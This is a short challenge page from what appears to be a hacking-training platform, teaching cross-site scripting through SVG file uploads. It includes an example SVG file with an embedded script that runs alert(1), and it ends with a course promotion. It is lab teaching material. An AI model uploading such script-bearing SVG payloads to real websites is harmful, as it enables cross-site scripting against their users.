10The challenges
XSS in file uploads - SVG
Medium30MIN
This module focuses on identifying and exploiting XSS vulnerabilities. Read the instructions and use the skills you have learned in previous modules to solve the task.
JavaScript code can also be executed in the SVG file format. With the example below, you can execute JavaScript code. Solve the task in the required manner.
HTML
1<?xml version="1.0" standalone="no"?>
2<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//FI" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
3<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
4 <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
5 <script type="text/javascript"> alert(1); </script>
6</svg>1 / 2
Hakatemia Pro
Learn to hack — start here
Hundreds of interactive courses, virtual labs and CTF challenges in your browser. Start a free trial — no card required.